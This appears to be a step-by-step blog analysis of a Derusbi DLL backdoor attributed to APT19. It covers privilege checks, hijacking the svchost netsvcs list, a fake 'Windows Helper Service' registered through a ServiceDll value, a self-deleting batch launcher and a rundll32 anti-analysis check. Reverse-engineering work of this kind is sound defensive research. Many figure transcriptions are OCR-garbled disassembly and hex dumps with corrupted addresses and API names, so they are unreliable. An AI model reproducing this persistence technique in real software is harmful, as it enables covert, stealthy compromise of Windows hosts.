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Summary

In this blog post we’re presenting a full analysis of a DLL backdoor also reported publicly as
Derusbi. This particular piece of malware is associated with the actor known as APT19
(Codoso, C0d0so, Sunshop Group).

APT19, also known as C0d0Oso or Deep Panda, is allegedly a Chinese-based threat group
that targeted a lot of industries in the past. FireEye reported that APT19 was active in 2017
when they used 3 different methods to compromise targets: CVE-2017-0199 vulnerability,
macro-enabled Microsoft Excel (XLSM) documents and an application whitelisting bypass to
the XLSM documents.

The malware registers itself as a service if it has run with administrator privileges, otherwise,
it establishes persistence via the “Run” registry key. The main purpose of the malicious DLL
is to gather information about the victim’s environment such as username, hostname, IP
address of the host, the CPU architecture, the default language for the local system, the
amount of physical memory, the amount of physical memory currently available, the
processor name, the width and the height of the screen of the primary display monitor. The
exfiltrated data is encrypted using a XOR operation (the 1-byte key seems to be randomly-
chosen), and then encoded using the Base64 algorithm. There is a lot of network
communication performed by the malware, however, due to the fact that the C2 server
seems to be sinkholed now, we were not able to retrieve the file that was intended to be
downloaded by the process.

Technical analysis

SHA256:
DE33DFCE8143F9F929ABDA910632F7536FFA809603EC027A4193D5E57880B292

The file analyzed in this blog post is a DLL that has the following export functions:

Mame Address Crdinal

1 f] DebugConnect 6CD7399B 1

{f] DebugCreate 6CD7399B 2 Figure 1
|z| ServiceMain eCDT73311 3

% DIlEntryPoint 6CD76892 . [main entry]

DebugCreate and DebugConnect entries have the same address and represent the starting
point of the malicious activity. The process computes a random string of 3 characters using
GetTickCount API calls and the algorithm shown in figure 2:

1/29


https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/

Jgext:eCD74842 call
LTdext:eCD74848 mov
LTdextieCD7484D mov

ds:GetTickCount
dword_6CDOFDAC, eax
byte 6CDIFCIF, 1

text:aCD74854

text:6C074854 loc BCD74854:
.text:6C074854 push esi
Ltext:6C074855 xor esi, esi

il s

Ltext:eCD74857
Ltext:eCD74857
Lgext:eCD74857
Ltext:eCDV485C
Ltext:6CD7485E
Ltext:eCD7485F
gext:eCD74868
gext:eCD74862
Ltext:eCD74865
gext:6CD74868
Ltext:eCD74869
Ltext:eCDV486C

loc_BCD74857:

call
push
cdg
pop
idiwv
add
mav
inc

il

sub_BCD74083
1ah

ecx
ecx

dl, 61h ; "a’
[esitedi], dl
esi

esi, 3

short loc_BCD74857

text:eCD7486E
StextieCD74872
Ltext 6074873
Sext:aCD74873
LSgextiaCD74873

monS

pop
retn

byte ptr [edi+3], @
esi

sub_BCO74839 endp

It tries to delete a file/directory called <3 random chars generated earlier>.dll from System32

directory as shown below:

Figure 2
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il e

Tdext:eCD73EDL mov ecx, eax

Ltext:6CD73EDI shr ecx, 2

Ltext:6CD73IEDE mowv esi, edx

.text:6CD73EDE rep movsd

TdextieCD73EDA mov ecx, eax

.text:6CD73EDC lea eax, [ebptpMore]
.text:6CD73EDF push eax ; pMore
.text:6CD73EER lea eax, [ebptpszPath]
Jtext:6CD73EER and BCx, 3

.text:6CD73EE9 push eax ; pszPath

.text:6CD73EEA rep movsb
.text:6CD73EEC call ds:Pathappenda

.text:6CD73EF2 push ebx ; dwErrCode Figure 3
.text:6CD73EF3 call ds:SetlLastError
text:6CD73EF9 mov edi, ds:DeleteFiled
.text:6CD73EFF lea eax, [ebptpszPath]
.text:6CD73F85 push eax ; 1lpFileName
Ltext:6CD73F06 call edi ; DeleteFiled
.text:6CD73FB8 lea eax, [ebp+pszPath]
.text:6CD73FBE push eax ; lpPathName
text:6CD73FBF call ds:RemoveDirectorya
text:6CD73F1S mov esi, ds:GetFileAttributesA
.text:6CD73F1B lea eax, [ebptpszPath]
Ltext:6CD73F21 push eax ; 1pFileName
Ltext:6CD73F22 call esi ; GetFileAttributesaA
Ltext:eCDV3F24 cmp eax, @BFFFFFFFFh
.text:6CD73F27 jnz short loc_6CD73F7A

Because the file doesn’t exist at this time, it's created using CreateFileA APl and then
deleted using DeleteFileA API. This technique is used to confirm that it has enough rights to
write files in the System32 directory:

53 S ASI I U LU ISUIIY 31U S
R AL 00 00 0 :ush x87r1 00000000000000000000 ST1 Emp
GA 02 2 Z push _ x87r2 00000000000000000000 ST2 Emp
53 push ebx x87r3 00000000000000000000 ST3 Emp
53 push ebx X87r4 00000000000000000000 ST4 Emp
68 00 00 00 CO push COO000D0 x87r5 00000000000000000000 STS Emp
8D B85 FO FE FF FF lea eax,dword ptr ss:[febp-110] x87r& 3IFFFS000000000000000 STE Emp
50 push eax eax: "C: x87r7 3FFFEDB70C975DF22363 ST7 Emp
FF 15 CO 41 DB 6C €a1T dword ptr ds:[<aCreateFileAx]
gg lgg £l rg:; :‘;:‘ggg___:_ eax:"Ci || xg7Tagword FFFF
1A dA AR 7 o 7TV, {
v 782 Je apt. &n73r7A XerTas 3 (Empty)  xerTW3 3 (Enp
FF 15 AC 40 D8 6C EEW dword ptr ds:[<aGetLastérrors] ik =
B85 CO test eax,eax sax: "C: XETTW_4 3 (Empry) XB7TW S 3 (Emp
e o4 jne apt.ecD7IFTA X87TW_6 3 (Empty) XB7TW_7 3 (Emp
53 push ebx
FF 15 AB 40 D§ &C E&W dword pir ds:[<é&CToseHandlex>] x875tatusword 0020
8D 85 FO FE FF FF lea eax,dword ptr ss:[flebp-110§ XB7SW_B O XB7SW_C3 O xNB7SW (2
50 push eax eax:"C: XB7SW_C1 O XxB7SW.CO 0O XBFTSW_ES
FF D& E&El esi esi:Gel XB7TSW_SF 0 XB7SW_P 1 xB7SW_U
AB 20 test al,z2o0 o ]
BCDT3F68 v 74 10 je apt.eCD73F7A W =
: ) *l< i C - - , | Default (stdcal) -
A 1: [esp] DOSEFSCE "C:\\WINDOWS\\sy:
Gword ptr [6CDB4ICD <apt.aCreAterileAs1mckernelsz,Createrilens T B N .
: esp+8] 00000000
es 00000000
.TeXT:6CDTIF3F apt.d11:$3F3F #333F . esgﬁéj_uooouooz
P 1 C: \\WINDOWS''\system32\\qlr.d11"
@Woump1  Ypumpz  @hDump3  WYDumps  BDumps @ wath1  Ielloals  # Stuct W 4
Address | Hex __|asc1z |
O0SEF9CS | @3 3A 5C 5749 4E 44 4F (57 53 5C 73|79 73 74 65|Q: \WINDOWS',syste
O0SEF9DB8| 6D 33 32 5C|(71 6C 72 2E(|64 6C 6C 00|00 00 00 00|m32\qlr.dlil.....
DOSEF9ES (00 00 OO 00|00 00 0O 00|00 00 00 00|00 OO 00 l'.-ﬂ: ................

Figure 4
The malicious process retrieves process privilege details by calling GetTokenlInformation with
parameter type 0x14 (TokenElevation):
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X87r4 Q0000000000000
X87r5 000000000000001
X87r6& 3FFFB0000000001
X87r7 3FFFBDB7FOCI75DI

x87Tagword FFFF

X87TW_0 3 (Empty)
X87TW_2 3 (Empty)
XB7TW_4 3 (Empty)
XB7TW_6 3 (Empty)

x875tatusword 0020

XB7SW_B 0 XB7SW C3
XB7SW_C1 0 XB7FSwW_CO
XB7SW_SF O XB7SW_P

Default (stdcall)

O0SEFAD4

|~

FF 15 AD 40 D8 6C €dll dword ptr ds:[<&GetCurrentProcess>]
50 push eax
FF 15 38 40 D8 &6C €811 dword ptr ds:[<&0penProcessToken>]
85 CO Test eax,eax
-~ 74 25 je apt.6CD738EC
64 04 push 4
58 pop eax
8D 4D F4 1ea ecx,dword ptr ss:|[lebp-Cj§
51 push ecx
0] push eax
89 45 F4 mov dword ptr ss:|febp-Cl],eax
8D 45 FO Tea eax,dword ptr ss:[febp-10§
50 push eax
64 14 push 14
FF 75 F8 push dword ptr ss:[ebp-sj
EIP FF 15 00 40 D8 6C call dword ptr ds:[<&GetTokenInformations]
85 Co test eax,eax
v 74 07 je apt.eCD738EC
dword ptr [6CD84000 <apt.&GetTokenInformation-]=<advapi32.GetTokenInformation:=
.Text:6CD7380E apt.d11:%$38DE #2CDB
24 Dump 1 oump2  @YDump3 W Dump4 @4 Dump 5 @ watch1  br=lLocals # struct
Address | Hex | ASCII |
O0SEFBEC [[0A] 00 00 DD|DD 00 00 DD|AB 3F 00 00|02 00 00 00 Rlasasnns L
nAncccoer | an an an anlan an an anlan A an anles 10 o oAn Aii a

Figure 5
Malware running with admin privileges

DO5EFADC

DOSEFADS
DOSEFAED

>

1: [esp] 00000294
2: [esp+4] 00000014
3: [esp+8] OOSEFCS84
4: [esp+C] 00000004
5: [esp+10] OOSEFCSS

0000001

DOSEFCS4

00000004

DOO5EFC88

Now it queries the “HKLM\SOFTWARE\WOWG6432Node\Microsoft\Windows
NT\CurrentVersion\Svchost\netsvcs” registry value using RegQueryValueExA function:

Figure 6
The list of services retrieved earlier is shown in the next figure:

! ®| eCD73512 56 push esi

0 ®| 6CD73513 8D 85 E8 D6 FF FF Tea eax,dword ptr ss:[lebp-2915§

I e 6CD73519 53 push ebx

! e 6CD7351A S0 push eax

1 ®| 6CD7351B ES8 EO 1B 00O 00 call apt.&CD75100

] e 6CcD73520 83 C4 0C add esp,C

' & 6CD73523 80 45 F4 Tea eax,dword ptr ss:[febp-CJ

! e 6CD73526 50 push eax

b e eCD73527 8D 85 EB8 D& FF FF Tea eax,dword ptr ss:QBebp-291:f

i #( 6CD7352D 50 push eax

1 ®| 6CD7352E 8D 45 EC lea eax,dword ptr ss:[ebp-14]

! L] 50 push eax

l . 53 push ebx

! . BF 83 CE DB &C mov edi,apt.&CDBCERZ

D L] 57 push edi

! L] FF 75 F8 push dword ptr ss:|[febp-sj

I . 89 75 F4 mov dword ptr ss:lfebp-CH,esi
FHlg——e FF 15 1C 40 D8 &C call dword ptr ds:[<&ReglueryvalueExa=]

i ®| GCOT3545 85 COD test eax,eax

[T =

y X
dword ptr [6CDS8401C <apt.&ReglueryvalueExAa>]=<advapi32.RegQueryvalusExA>
L.Text:6CD7353F apt.dl1:$353F #293F
Woump1 | @Wpump2z  @Woump3  Wloump4  Woumps @ wathi  Ix=lLocd: P [Gocenasa Ecum::g; el

O05ED35 8 | 00000000

Address | Hex ASCII » e el e
OOSED374 0@ 00 00 00|00 OO OO OO|(00 OO0 OO0 OO|00 OD O0 OO | . . .- cvennnnnan DOSEDZ60 | D0SEDZ74
e bis s e d bt i Do o b e e Rl 0DSED364| D0SEFC80
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Address

Hex

ASCIT

DOSED3T 4
OOSED3B4
MISER3IS4
DOSEDZA4
OOSED3IE4
DOSED3ICH
DOSED3ID 4
DOSEDZE4
DOSED3IF4
OOSED404
DOSED414
DOSED424
OOSED434
DOSED#44
OOSED4L 4
DOSED 464
DOSED47 4
OOSED484
DOSED 494
DOSED4A4
OOSED4BE4
DOSED4Ca

6L
72
73
G4
73

62
00
57
70
61
73
63
61
&b
53
&F
41
6L
GB
41

70

50
53
00
6D
oo
45
63
74
00

72
76
&7
73
77
GBE
68
79
4E

&F
&3
70
69
69
76
&9
00
74

70
0o
73
73
GE
00
GE
49
&D

-

3
&L

76
61
76 63 00 69
63 73 69 00
i 1

63
GE

o0
&D

46 Cl /3 74
67 43 6F &D
6l 73 00 49
73 73 76 63
63 6F GE 00

BE 74 0O 52
6E 00 52 &5

ol o2 00
00 53 52 53
72 76 00D 57

-

6D &F
53 68
65 72
6D &9
73 B>

74
61
76
00
72

&5
72
69
57
76

65
&F
74
&D
55
67

BC
67
00
&7
73
6D

6C
&F
65
72
65
74

48
GE
85
0o
72
00

=l 44 65 74
48 BF 75 72
7 7

4 6F 6B &G
4D 61 6E 61
00 00 6F 00

EertPropsvc. SCPo
TicySwvc. 1anmanse
rver.gpsvc.iphlp
sve.msiscsi.sche
dule.winmgmt.Ses
sionEnv.FastuUser
SwitchingCompati
bility.Ias.Irmon
.Nla. Ntmsswve . NwC
workstation.Nwsa
pagent.Rasauto.R
asman.Remoteacce
55.5ENS. Sharedac
cess. SASservice.T
apisrv.wmi.wndmP
mSp.wuauserv.BIT
S.5hellHwDetecti
on. LogonHours. PC
Audit. helpsvc. up
loadmgr . TokenBro
ker.UserManager.
AppoMamC...0...R.

Figure 7

There is another service called WinHelpSrv that is added to this list. The “netsvcs” value is
modified to reflect the change by calling RegSetValueExA API:

i #| 6CD735D5 c0 push eax ea
! : #|| 6CD735D6 64 OF push 7
i ®| 6CD735D8 53 push ebx
ey ®| 6CD735D9 57 push edi ed
I ®| 6CD735DA FF 75 F8 push dword ptr ss:[lebp-2]

Eﬂ-}—!—)- FF D& call esi _ . es
b K

esi=<advapi3z2.RegSetvValueExA> (77610F60)

.Text:6CD735DD apt.dl11:%$35DD #29DD

Woump1  @Uoumpz @Woump3  PUoumpa  Epumps @& wath1  [x-lLocds P fooSEnaes ECDECEg; “hetsves™

Address | Hex ASCII = gﬁgggg m@g

OOSED3A4|73 76 63 00|60 73 69 73|63 73 69 00|73 63 &8 65 |svc.msiscsi.sche OOSED260 | DOSED374 | "CertPropsvc”

0O0SED3IB4| 64 75 &C 65|00 77 69 GE 74|00 53 65 73 EIL_J'IE.W‘I'nmgmt.SES O0SED3E4 | ODDD0LES

005ED3C4|73 63 6F GE (45 6E 76 00|48 €1 73 74(55 73 65 72| s1onEnv.Fastuser ODSEDZEE | DO002710

OOSED3D4|53 77 62 74|63 65 69 GE|67 43 6F 6D |70 61 74 69| SwitchingCompati 005ED3EC | DOODOD00

OOSED3ZE4| 62 69 6C 69|74 79 00 49|61 73 00 49|72 6D &F GE|bility.Ias.Irmon 00SEDZ70 | DDBCEDBO | L™\ "C:\\Users"

OOSED3F4 |00 4E 6C 61|00 4E 74 6D |73 73 76 63|00 4E 57 43| .Nla.Ntmsswvec. NWC D[]SEDS;'-I 74726543 I\"il"ldﬂ'\:h'S storac

OOSED404 |57 &F 72 6B|72 74 1 74|69 6F GE O0O|4E 77 73 61|workstation.Nwsa [J[JSEDS%S FOGET250 ) 3

0O0OSED414| 70 &1 &7 &5 |6E 74 00 52 |g] 74 6F 00 52| pagent.Rasauto.R ODSED37C | DOE3ITES3

00SED424|61 73 6D 61 |(6E 0D 52 65 |6D 6F 74 65|61 63 &3 65| asman.Remoteacce ODSED280 | 6E504353

OO0SED434|73 73 00 53 (45 4E 53 00|53 68 61 72|65 64 61 &3 SS.SENS.Shat:EEIaC ODSED384 | 7963696C

00SED444) 63 65 73 73 (00 53 52 53|65 72 76 69(63 65 OO0 54| cCess.SR5ervice.T ODSEDZSE | 00627653

OOSED454 (61 70 69 73|72 76 00 57 |6D 69 00 57|6D 64 6D 50| apisrv.wmi.wndmP 0DSED3EC | EDEEGLEC

00SED464)| 60 53 70 00|\ L7 7o @l 75|73 65 72 76(00 42 49 54 |m5p.wuauserv.BIT ODSED290 | 65736E61

OOSED474|53 00 53 68|65 6C 6C 43|57 44 EC 74(65 63 74 69| 5.ShellHwDetecti ODSED394 | 72657672

005ED434 )| 6F &6E 00 4C |\ 6F 67 &F 6E |48 6F 75 72|73 00 50 43|on.LogonHours.PC ODSED298 | 73706700

O0SED494| 41 75 &4 69|74 00 BB &5 63 00 75 7O|Audit.helpsvc.up ODSEDZ9C | 69006376

OOSED4A4 | 6C 6F 61 64|60 &7 72 00|54 6F 6B G5 |(GE 42 72 6F| loadmgr.TokenBro DOSED3AD | 7OBCES70

OOSED4B4| 6B 65 72 00|55 73 65 72 |4D 61 6E 61|67 65 72 00| ker.UserManager. []DSEDS: 0DE37ET3

OOSED4C4| 41 70 70 4D |67 6D 74 00|57 69 GE 48|65 6C 70 53| AppMgmt.winHelps DUSEDS;S 736973260

ODSED4D4| 72 76 00 00|6D 00 61 OD|6E 00 00 00|52 OO0 65 00|rv..m.a.n...R.e. bt | et

Figure 8

The file creates a new service named WinHelpSrv (Windows Helper Service) as follows:
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] e =

.text:6CD735F6 push BFBE3Fh ; dwDesiredAccess
.text:6CD735FB push ebx 3 lpDatabaseName
.text:6CD735FC push ebx 3 lpMachineName
.text:6CD735FD call ds :0OpenSCManageri
.text:6CD73683 cmp eax, ebx
.text:6CD73685 jz loc_BCD736FA
T :
k] s
.text:6C0736@B push ebx ; lpPassword
.text:6C07368C push offset ServiceStartName ; "z"
.text:6C073611 push ebx ; lpDependencies
Ltext:6C073612 push ebx 3 lpdwTagId
.text:6CD73613 push ebx 3 lplLoadOrderGroup
.text:6CD73614 push offset BinaryPathName ; lpBinaryPathName
.text:6CD73619 push 1 ; dwErrorControl
.text:6C07361B push 2 3 dwStartType
.text:6C073610 push 1@h 3 dwServiceType
.text:8C07361F push BF@1FFh 3 dwDesiredAccess
.text:6C073624 push offset DisplayName ; “Windows Helper Service”
Ltext:6C073629 push offset ServiceName ; “"WinHelpSrv"
.text:6CD7362E push eax 3 hsCManager
Ltext:6C07362F call ds:CreateServiced
Tdext:elD7I635 test egx, eax
Ltext:6CD73637 jz loc_eLCD736FD

Figure 9

The description of the service is set to “This i's windows helper service. Include windows

update and windows error”:

Ir-:igure 10

. - Aur e e Ly A ims 4 ey
p ca &5 D8 &c ECOEESE XBTTW_4 3 (Empty) XB7TW_5 3 (Empty)
2 & OH_P_l X87TW_6 3 (Empty) x87TW_7 3 (Empty)
. 53
| . 68 10 CF D8 6C push apt.ECDBCF10 GCDBCF] xETS5Tatusword 0020
| . FF 75 F8 push dword ptr ss:febp-2] R a7Cw
B | FF D6 | call esi jesisnet v [ — re———
P el o - — - - 5 | Default (stdcal) ~ |5 2] unioc
2. | "1z fesp] ooooozeo
esi=<advapi32.RegSetvalusExA> (77610F60) | 2: [esp+4] 6CDBCF1D "Description”
3: [esp+8] 00000000
- 1 4: [esp+c] o0DODDODL
+ TEXT: 6C0736AI apt.d11:$36A9 W2AA9 ) | 5: [esp+l1D] 6CDSESES "This 1s windows helper ser
ot i k-3 b el
#eOumpl @S Dump2 RS Dump3 G5 Oump4  BSDump S " Watch 1 M=iitc 6CDBCF10 | “Description”
Address | Hex ASCIT | el
DOSEFBT4 |53 59 53 5445 4D 5C 43|75 72 72 65(6E 74 43 6F | BYSTEM\Currenti r— ; § "
OOSEFES4 6 4 72 &F | - |Vsc £3 65 72|7€ €3 63 65 | ntrolset\servi i g:ugggzsg This is windows helper service. Include windows update and windows error
EEEerRs s K ieleleen S 21 R IR R RN A R

The malicious DLL is registered as a service by adding the “ServiceDII” value that points to
its location to the newly created service registry keys:

Figure 11

The confirmation that the operation was successful:

e ® 50 push eax R
i &8 AD FB D9 &C push apt.&CDIFEAOD 6CDoFRs || X87TW_4
e €A 0z push z stBn B
L L] 53 push ebx
e . 68 31 CF D8 6C push apt.eCDBCF31 GCDBCF: X875tat|
i . FF 75 FO push dword ptr ss:[febp-10] eRTS S
EE—— FF D6 call esi esiiRetw | ———
i . e o Co : i 5 Default (st
. L 1: [esp]
esi=<advapi3z.RegSetValueExA> (77610F60) 2: [esp+
3: [esp+
4: esp+
.text:6CDTI6ED apt.dl1:$36E9 #ZAED 5: Esg1
Woumpt  @Youmpz  @oump3  @doump4  @WDumps & watch1i =ik OOSEDSS 4 "sarviced11"
sdgress [ ex e g s
OOSEFBE74|53 59 53 54|45 4D 5C 4375 72 72 65 |6E 74 43 &F | SYSTEM\Current: i i
DOSEFBB4|GE 74 72 GF 7i|5C 53 65 72|76 69 63 65 |ntrolset\servi: %gggggﬁ' g‘com‘:g c:\\sers' ll\\Desktopi\apt. d11
NNEFFRA4| 72 BEF BE7 Ral&F 48 &€ & |70 &2 72 Falon an on nnl evwindalnsrs
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§ Registry Editor - O X
et f
File Edit View Favortes Help

Computer\ HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\WinHelpSr/\Parameters
i WhioSrve A | MName Type Data
wicifs b {iDefault) REG_SZ (value not set)
: Wemsve a6} ServiceDIl REG_EXPAND_SZ C:\Users\Jl\Desktop\apt.dil
WCnCsve
Figure 12

The process creates a batch file called <10 random chars>.bat (the same algorithm utilized
before to generate the random letters is used):

68 &0 &8 D8 &C push apt.6CD863E0 eCD86e8E

S0 push eax eax: "yt

E8 E2 2B 00 00 call apt.6CD7SB36 fopen w
>

L.Text:6CD72F4F apt.dl1:$2F4F #234F

DOSEFB4D | "ytyk t.bat"
@oump1  @pump2z WWpump3  WDump4  Eloumps @ watchi  [x=lLocal: P ODSEFB30 | 6CDSE860 Lty el

Figure 13
The content of the .bat file is presented below:

@echo off
net start %1
del %0

The malicious file sets the priority class 0x100 (REALTIME_PRIORITY_CLASS) for the
current process (this means that the current process has the highest possible priority):

CHRE— S 68 00 01 00 00 push 100
. FF 15 AQ 40 D8 &C call dword ptr ds:[<&GetCurrentProcess>]
L] S50 push eax
EF—r FF 15 8C 40 D8 &C €alll dword ptr ds:[<&SetPriorityclassx>]
L] 6A OF push F
L] FF 15 80 40 D8 &C Eall dword ptr ds:[<&GetCurrentThread:>]
L] S50 push eax
[ FF 15 5C 40 D8 &C €all dword ptr ds:[<&SetThreadPriority>]
. B ;_Jush ech'l e el W
o >
dword ptr [6CDB40BC <apt.&SetPriorityClass»]=<kernel32.SetPriorityClass>
.Text:6CD72F8F apt.dl11:$2F8F #238F
WWoump1  @lpump2z Wpump3  Wpump4  Eloumps @ watchi  [x=lLocal: P %m;ﬁ
Figure 14
After this operation, there is a call to SetThreadPriority that sets the priority 15
(THREAD_PRIORITY_TIME_CRITICAL) for the current thread:
e| sco72Fa9s &4 OF push F % 5 g
®| 6CD72F97 FF 15 80 40 DS &C edll dword ptr ds:[<&GetCurrentThreads=]
| 6CD72F9D 50 push eax
] FF 15 5C 40 D8 &C call dword ptr ds:[<&setThreadPriority>]
®| 6CD72FA4 57 push edi
|t e e O e 5 : e
£

dword ptr [6CDS8405C <apt.&SetThreadPriority=]=<kernel32.setThreadPriority>

.text:6CD72F9E apt.dl1:$2F9E #239E

maﬂ FFFFFFFE
Hit' DUlTlFl 1 Elitl DUITIFl 2 Hitl DUITIFl 3 Hitl DUITIFl 4 Uitl DUITIFl 5 @ Watch 1 J=] Lﬂﬁi } 0O05EFG630 | 0OO0Q0Q00F
Figure 15
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Now there are 2 SHChangeNotify API calls with the following parameters: 0x4
(SHCNE_DELETE), 0x5 (SHCNF_PATH), the 3rd parameter is the path to rundll32.exe
(because the dll was run using rundll32) and the name of the batch file, respectively, and the
4th parameter is 0. These calls have the purpose of notifying the system if rundll32.exe or
the batch file is deleted:

3 push ebx = 3 XS/ IW_% 3 |\EIMpLY
8D 85 B4 FA FF FF lea eax,dword ptr ss:[febp-54C] X8TTW_6 3 (Empty
113} push eax eax:"c:
&4 05 push 5 x875tatusword OC
&4 04 push 4 | »@7CwW O o wo7c
FF 15 F4 41 D8 &C call dword ptr ds:[<&SHChangeNotify>] M+
o o = Default (stdcall)
- - 1: [esp] 0000000
dword ptr [6CD841F4 <apt.&SHChangenotify=>]=<shell32.sHChang ify= 2: Eesg}-nt} 00000
3: [esp+B] OOSEF
<t = 4: [esp+C] 00000
.text:6CD72FD6 apt.dl1:%$2FD6 #23D6 5: [esp+ld] 000D
00000004
B Dump 1 44 Dump 2 B4 Dump 3 4 Dump 4 24 Dump 5 & watch 1 |x=] Locals P DOSEFES8 | 00000005 :
Address ! Hex [AscIT [ 2 || DOSEFG62C | DOSEFT40 | "C iM% \Windows™ \ Syswowe4»\rundl1132. exe™
|nn:==7n1 2alcr £ RAlEF R4 £F 77172 B t2 Falvz ©7 4aF o7 [EN windnwe Swownw | 00SEFE30 | 00000000

Figure 16
The batch file is executed using the WinExec function. Basically, it starts the WinHelpSrv
service, and then the batch file is deleted:

50 push eax sax:"yt | x87st:
FF 15 BC 40 D8 &C call dword ptr ds: [6CDS40BC] WineExec
BO 01 mov al,l1 W
T = i ")' Default (;
1: [es
dword ptr [apt.6CD840BC]=aclayers.6CDD5310 2: [es
3: [es
4: [es
.text:6CDT3027 apt.dl1:$3027 #2427 5: fes

[l 00SEFG40 | "ytykusgpst.bat WinHelpsrv™

A P 1 il e il e o Al e A P s £ [ TP

Figure 17

Now we’ll talk a bit about the ServiceMain export function that is called when the new service
starts. The process registers a function to handle service control requests by calling the
RegisterServiceCtrIHandlerA function:

68 85 34 D7 &C push apt.&CD73485 XB7SW_C1 O XE7

52 push edx edx: "W X87SW_SF 0 x87
35 18 mov byte ptr ds:[eax],bl R
FF 15 20 40 D8 &C call dword ptr ds:[<&RegisterServiceCtriHandlerA=]

o | ——
Default (stdcall)

= = = 5 5 = 1: [esp] 6CD866:

dword ptr [6CDB4020 <apt.&RegisterServiceCtrlHandlerA>]=<advapi32.RegisterServiceCtriHand]era> 2: [esp+a] 6CD7:
219

41

[esp+8] 0000C
[esp+C] 000OC

.text:6CD73358 apt.d11:$3358 #2758 5: [esp+10] 033¢
oumpi | @Wpump?  UWDunp3  UMOump4 | UMDumps @ Wathi  [-llocas | 4 Stuct : Eg?gim
Figure 18
There is a call to SetServiceStatus function using the following SERVICE_STATUS structure:
0x10 (SERVICE_WIN32_OWN_PROCESS), 0x2 (SERVICE_START_PENDING), 0 (no
controls are accepted), 0 (dwWin32ExitCode), 0 (dwServiceSpecificExitCode), 0x1
(dwCheckPoint) and 0xbb8 (3000 ms, the amount of time that the service expects an
operation to take before the next status update):

68 58 FB D8 &C push apt.&CDSFE5S XB7SW_C1 0 XB7S
FF 35 74 FE D8 &C push dword ptr ds:[6CDSFBF4] X87SW_SF 0 X875
FF 15 10 40 D8 &C call dword ptr ds:[<&SetServicesStatus:>] A mm e
C3 ret W
5 = Default (stdcall)
= = = 1: [esp] 0000123
dword ptr [6CD34010 <apt.&SetServiceStatuss>]=<advapi32.SetServicestatuss> 2: [esp+4] GCDSFE
3: [esp+8] 6CD73:
4: [esp+C] 00000
.text:6CD7347E apt.dl11:3$347E #287E 5: [esp+10] 0000(
" ;) 00001234
B4 Dump 1 &%/ Dump 2 4% Dump 3 s Dump 4 4 Dump 5 G watch 1 [*=] Locals 4 struct GCDBFBSS | apt. 6CDBFES S
Address | Hex ASCII g‘égggggg return to apt.
6CDBFB5S (0] 00 00 00|02 00 00 00|00 OO0 OD OO|00 00 O0 00| Gl ..o s enenranann 00000000
6CDBFBGE| 00 00 00 00|01 OO0 OO O0|BS OB OO0 OO|34 12 00 00| ........ e e N2RRENREN | 1™ " =y ey

Figure 19
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The malicious process creates an unnamed event object by calling the CreateEvent function:

- o e g
111 push es1i X8
56 push esi x5
A 01 push 1 ®E
56 push esi ==
FF 15 70 40 D8 &C call dword ptr d=s:[<&CreateEventw:=] v =

dword ptr [6CD84070 <apt.&CreateEventw:]=<kernel3z.CreateEventu:

.text:6C0D733B3 apt.dl11:$33B3 #27B3

% Dump 1 924 Dump 2 @4y Dump 3 @4yl Dump 4 B2y Dump 5 @ Watch 1 [x=] Locals é}:J Struct

Address | Hex | ASCIT |
6CDAFBSE MA@ 00 oo ooloz o0 o0 ooloo 00 00 Ooloo 00 00 OOlR. ... ...eeeon... |

Figure 20

Now it follows another SetServiceStatus call by using the following SERVICE_STATUS
structure: 0x10 (SERVICE_WIN32 _OWN_PROCESS), 0x4 (SERVICE_RUNNING), 0x1
(SERVICE_ACCEPT_STOP), 0 (dwWin32ExitCode), 0 (dwServiceSpecificExitCode), 0
(dwCheckPoint) and 0 (dwWaitHint):

G5 58 FBE D& &C push apt.&CDSFESS XKBTSW_SF 0 87
FF 25 74 FB D8 &C push dword ptr ds:[6CDSFB74] - =
FF 15 10 40 D8 6&C call dword ptr ds:[<&SetServicesStatus>] W

- e = Default (stdcall)

: [esp] D00OOD12
esp+4] 6CD3
esp+8] &CD7
[esp+C] FFFE
[esp+10] &CD

dword ptr [6CDS84010 <apt.&SetServicesStatus»]=<advapi32.SetServicestatus>

e R

LLext:6CD7347E apt.dl1: $347E #287E

00001234
G6CDSFB58
20| eCD7 3305
4| FFFEGB9C
B| 6CD733A5

¥4 Dump 1 &4 Dump 2 &4 Dump 3 4% Dump 4 4% Dump 5 @ Watch 1 [x=| Locals ;;’ Struct

Address | Hex ASCII
G6CDBFB58 10| 00 00 00|04 OO OO0 OO(01 OO0 OO0 OO|O00 OO OO0 00| Qe eeenneennnn
G6CDBFB6GS| 00 00 00 0OO(00D OO OO0 OO(O0 OO0 OO0 00|34 12 00 00| ... enrnnn. 4...

Figure 21

The final operation of this section is to create a new thread using the CreateThread function.
The same action will be performed even if the process hasn’t run with admin privileges, as
we’'ll see later on:

apt.e&CD8FB58
return to apt

return to apt

: . 1 push esi

! . EE push esi x875tatusword 0O

! . 56 push esi XBFSW_EB O x87

i ] 68 B4 31 D7 &C push apt.sCD731B4 XB7SW_C1 O x87F

! . 56 push esi XB7SW_SF O x87

1 . 56 push esi Tttty
Ep—- FF 15 & 40 D8 &C call dword ptr ds:[<&CreateThread>] W

! . e R T e e e e e = Default (stdcall)

|

1: [esp] 000000C
2: [esp+4] 00000
3: [esp+8] 6CD7:
4: [esp+C] 0000C
5: [esp+10] 000C

dword ptr [6CD3406C <apt.&CreateThread=]=<kernel3z.CreateThread>

.Text:6CD733E7 apt.d11:$33E7 #27E7

4% Dump 1 @Ypump2 @@ Dump3 @MW Dump4 Y Dump S @ watch1  [x=l Locals ;3’ Struct

00000000
D0D1FB20 | 6CD731B4 | apt.6CD731E4
Address | Hex ASCIT * | 6op1Fs24 | 000DOC00
6CDBFB5S |10 00 00 00|04 00 OO0 OO|OL 00 OO0 0000 00 00 O0|@eecvsasannnnnns 00D1FE28E | 00000000
G6CDBFB&8 | 00 00 OO0 00|00 OO0 OO OO|00 00 00 OO(34 12 00 00| . .0 eunnnnn 4... 00DLFB2C | 00000000
ARINAERTR | NN AN NN Al 0ne NN N And nne N0 NN 0ol 0N NN nne N

Figure 22
Malware running without admin privileges

The malware uses an anti-analysis technique by comparing the image path of the executable
with rundll32.exe. It is done to ensure that the file is not executed by a sandbox/analyst (it
exits if that’s the case):

9/29



[ ea =

Jtext:6CD7374B

Ltext:6C07374B loc RCDV374B:

Ltext:6C07374B xor ebx, ebx

.text:6CD7374D push @FEh ; 'p’ ; size t
text:eCD73752 lea eax, [Ehp+var 187]
.text:6C073758 push ebx ; imt
Ltext:6CD73759 push eax ; void *
